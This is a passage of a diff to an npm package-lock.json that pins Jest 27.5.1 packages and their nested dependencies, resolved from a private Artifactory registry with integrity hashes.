"sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-diff/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-diff/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-diff/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-diff/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-docblock": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-docblock/-/jest-docblock-27.5.1.tgz", + "integrity": "sha512-rl7hlABeTsRYxKiUfpHrQrG4e2obOiTQWfMEH3PxPjOtdsfLQO4ReWSZaQ7DETm4xu07rl4q/h4zcKXyU0/OzQ==", + "dependencies": { + "detect-newline": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-each/-/jest-each-27.5.1.tgz", + "integrity": "sha512-1Ff6p+FbhT/bXQnEouYy00bkNSY7OUpfIcmdl8vZ31A1UUaurOLPA8a8BbJOF2RDUElwJhmeaV7LnagI+5UwNQ==", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-each/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-each/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-each/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-each/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-each/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-each/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-environment-jsdom": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-environment-jsdom/-/jest-environment-jsdom-27.5.1.tgz", + "integrity": "sha512-TFBvkTC1Hnnnrka/fUb56atfDtJ9VMZ94JkjTbggl1PEpwrYtUBKMezB3inLmWqQsXYLcMwNoDQwoBTAvFfsfw==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1", + "jsdom": "^16.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-environment-node": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-environment-node/-/jest-environment-node-27.5.1.tgz", + "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-get-type": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-get-type/-/jest-get-type-27.5.1.tgz", + "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-haste-map/-/jest-haste-map-27.5.1.tgz", + "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/graceful-fs": "^4.1.2", + "@types/node": "*", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-regex-util": "^27.5.1", + "jest-serializer": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "micromatch": "^4.0.4", + "walker": "^1.0.7" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + } + }, + "node_modules/jest-jasmine2": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz", + "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-jasmine2/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-jasmine2/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-jasmine2/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-jasmine2/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-leak-detector": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz", + "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==", + "dependencies": { + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-matcher-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-matcher-utils/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-matcher-utils/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-message-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-message-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-message-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-message-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } + } + }, + "node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-resolve/-/jest-resolve-27.5.1.tgz", + "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "resolve": "^1.20.0", + "resolve.exports": "^1.1.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve-dependencies": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz", + "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-snapshot": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-resolve/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-resolve/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-resolve/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-resolve/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-resolve/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-runner/-/jest-runner-27.5.1.tgz", + "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-leak-detector": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "source-map-support": "^0.5.6", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-runner/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": 